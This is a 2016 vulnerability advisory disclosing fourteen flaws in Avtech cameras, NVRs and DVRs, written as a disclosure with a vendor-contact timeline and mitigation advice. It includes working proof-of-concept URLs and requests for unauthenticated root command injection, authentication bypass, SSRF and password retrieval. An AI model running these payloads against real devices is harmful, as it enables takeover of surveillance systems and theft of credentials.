Avtech IP Camera / NVR / DVR CSRF / Disclosure / Command Injection

2016-10-11T00:00:00
ID PACKETSTORM:139077
Type packetstorm
Reporter Gergely Eberhardt
Modified 2016-10-11T00:00:00

Description

                                        
                                            `Avtech devices multiple vulnerabilities  
  
--------------------------------------------------  
  
Platforms / Firmware confirmed affected:  
- Every Avtech device (IP camera, NVR, DVR) and firmware version. [4]  
contains the list of confirmed firmware versions, which are affected.  
- Product page: http://www.avtech.com.tw/  
  
A'AVTECH, founded in 1996, is one of the worldAs leading CCTV  
manufacturers. With stably increasing revenue and practical business  
running philosophy, AVTECH has been ranked as the largest public-listed  
company among the Taiwan surveillance industry. AVTECH makes every  
effort on the innovation of technology, product and implementation.  
Based on years of research and industry experience, AVTECH has obtained  
a leading position on mobile platform support and provides a full range  
of surveillance products.AP  
  
Avtech is the second most popular search term in Shodan. According to  
Shodan, more than 130.000 Avtech devices are exposed to the internet.  
  
Vulnerabilities  
---------------  
1) Plaintext storage of administrative password  
Every user password is stored in clear text. An attacker with access to  
the device itself can easily obtain the full list of passwords. By  
exploiting command injection or authentication bypass issues, the clear  
text admin password can be retrieved.  
  
2) Missing CSRF protection  
The web interface does not use any CSRF protection. If a valid session  
exists for the user, the attacker can modify all settings of the device  
via CSRF. If there is no valid session, but the user did not change the  
default admin password, the attacker can log in as admin via CSRF as well.  
  
3) Unauthenticated information disclosure  
Under the /cgi-bin/nobody folder every CGI script can be accessed  
without authentication.  
POC: GET /cgi-bin/nobody/Machine.cgi?action=get_capability  
Example response:  
Firmware.Version=1011-1005-1008-1002  
MACAddress=00:0E:53:xx:xx:xx  
Product.Type=DVR  
Product.ID=308B  
Product.ShortName=V_full_Indep,V_Multistream  
Video.System=PAL  
Audio.DownloadFormat=ULAW  
Video.Input.Num=8  
Video.Output.Num=1  
Video.Format=H264,MJPEG  
Video.Format.Default=H264  
Video.Resolution=4CIF,CIF  
Video.Quality=BEST,HIGH,NORMAL,BASIC  
Video.Local.Input.Num=8  
Video.Local.Output.Num=1  
Video.Local.Format=H264,MJPEG  
Audio.Input.Num=8  
Audio.Output.Num=1  
Audio.Format=ULAW  
Audio.Local.Input.Num=8  
Audio.Local.Output.Num=1  
Audio.Local.Format=PCM  
Language.Default=ENGLISH  
Language.Support=ENGLISH&CHINESE&JAPANESE&FRANCE&GERMAN&SPANISH&PORTUGUESE&ITALIAN&TURKISH&POLISH&RUSSIAN&CUSTOMIZE&THAI  
&VIETNAM&DUTCH&GREEK&ARABIC&CZECH&HUNGARIAN&HEBREW&CHINA&  
Capability=D0,80,A,80  
PushNotify.MaxChannel=8  
  
4) Unauthenticated SSRF in DVR devices  
In case of DVR devices, Search.cgi can be accessed without  
authentication. This service is responsible for searching and accessing  
IP cameras in the local network. In newer firmware versions, Search.cgi  
provides the cgi_query action, which performs an HTTP request with the  
specified parameters. By modifying the ip, port and queryb64str  
parameters, an attacker is able to perform arbitrary HTTP requests  
through the DVR device without authentication.  
POC:  
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==  
  
5) Unauthenticated command injection in DVR devices  
The cgi_query action in Search.cgi performs HTML requests with the wget  
system command, which uses the received parameters without sanitization  
or verification. By exploiting this issue, an attacker can execute any  
system command with root privileges without authentication.  
POC:  
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'{print%20"/tmp/"$1".log"}');&password=admin  
  
6) Authentication bypass #1  
Video player plugins are stored as .cab files in the web root, which can  
be accessed and downloaded without authentication. The cab file request  
verification in the streamd web server is performed with the strstr  
function, which means that a request should not be authenticated if it  
contains the A'.cabAP string anywhere in the URL. We note that some of the  
models contain an additional check in the CgiDaemon, which allows  
unauthenticated cgi access only under the /cgi-bin/nobody folder.  
POC:  
http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*  
  
7) Authentication bypass #2  
Cgi scripts in the /cgi-bin/nobody folder can be accessed without  
authentication (e.g. for login). The streamd web server verifies whether  
the request can be performed without authentication by searching for the  
A'/nobodyAP string in the URL with the strstr function. Thus, if a  
request contains the "/nobody" string anywhere in the URL, it does not  
have to be authenticated. We note that some of the models contain an  
additional check in the CgiDaemon, which allows unauthenticated cgi  
access only under the /cgi-bin/nobody folder.  
POC:  
http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*  
  
8) Unauthenticated file download from web root  
If a cab file is requested, the web server sends the file without  
processing it. Because the streamd web server verifies the cab file  
request by searching for the A'.cabAP string in the URL with the strstr  
function, any file (even the cgi scripts) in the web root can be  
downloaded without authentication.  
POC: http://<device_ip>/cgi-bin/cgibox?.cab  
  
9) Login captcha bypass #1  
To prevent brute-forcing attempts, Avtech devices require a captcha for  
login requests. However, if the login requests contain the login=quick  
parameter, the captcha verification is bypassed.  
POC:  
http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick  
  
10) Login captcha bypass #2  
Instead of using a random session ID, Avtech devices use the  
base64-encoded username and password as the Cookie value. Since the IP  
address of the logged in user is not stored, if an attacker sets the  
Cookie manually, the captcha verification can by bypassed easily.  
  
11) Authenticated command injection in CloudSetup.cgi  
Devices that support the Avtech cloud contain CloudSetup.cgi, which can  
be accessed after authentication. The exefile parameter of a  
CloudSetup.cgi request specifies the system command to be executed.  
Since there is no verification or white list-based checking of the  
exefile parameter, an attacker can execute arbitrary system commands  
with root privileges.  
POC: http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps  
  
12) Authenticated command injection in adcommand.cgi  
Some of the Avtech devices contain adcommand.cgi to perform ActionD  
commands. The adcommand.cgi can be accessed after authentication. In  
newer devices the ActionD daemon provides the DoShellCmd function, which  
performs a system call with the specified parameters. Since there is no  
verification or white list-based checking of the parameter of the  
DoShellCmd function, an attacker can execute arbitrary system commands  
with root privileges.  
POC:  
POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1  
Host: <device_ip>  
Content-Length: 23  
Cookie: SSID=YWRtaW46YWRtaW4=  
  
DoShellCmd "strCmd=ps&"  
  
13) Authenticated command injection in PwdGrp.cgi  
The PwdGrp.cgi uses the username, password and group parameters in a new  
user creation or modification request in a system command without  
validation or sanitization. Thus and attacker can execute arbitrary  
system commands with root privileges.  
We are aware that this vulnerability is being exploited in the wild!  
POC:  
http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN  
  
14) HTTPS used without certificate verification  
The SyncCloudAccount.sh, QueryFromClient.sh and SyncPermit.sh scripts  
use wget to access HTTPS sites, such as https://payment.eagleeyes.tw, by  
specifying the no-check-certificate parameter. Thus wget skips server  
certificate verification and a MITM attack is possible against the HTTPS  
communication.  
  
Timeline  
2015.10.19: First attempt to contact with Avtech, but we did not receive  
any response  
2016.05.24: Second attempt to contact Avtech without any response  
2016.05.27: Third attempt to contact Avtech by sending e-mail to public  
Avtech e-mail addresses. We did not receive any response.  
2016.xx.xx: Full disclosure  
  
POC  
---  
POC script is available to demonstrate the following problems [3]:  
- Unauthenticated information leakage (capabilities)  
- Authentication bypass (.cab, nobody)  
- Unauthenticated SSRF on DVR devices  
- Unauthenticated command injection on DVR devices  
- Login captcha bypass with login=quick or manual cookie creation  
- CloudSetup.cgi command injection after authentication  
- adcommand.cgi command injection after authentication  
  
A video demonstration is also available [1], which presents some of the  
above problems.  
  
Recommendations  
---------------  
Unfortunately there is no solution available for these vulnerabilities  
at the moment. You can take the following steps to protect your device:  
- Change the default admin password  
- Never expose the web interface of any Avtech device to the internet  
  
We note that the above vulnerabilities were found within a short period  
of time without a systematic approach. Based on the vulnerability types  
we found and the overall code quality, the devices should contain much  
more problems.  
  
Credits  
-------  
This vulnerability was discovered and researched by Gergely Eberhardt  
(@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)  
  
References  
----------  
[1]  
https://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities  
<http://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities>  
[2] https://youtu.be/BUx8nLlIMxI  
[3] https://github.com/ebux/AVTECH  
[4] http://www.search-lab.hu/media/vulnerability_matrix.txt  
`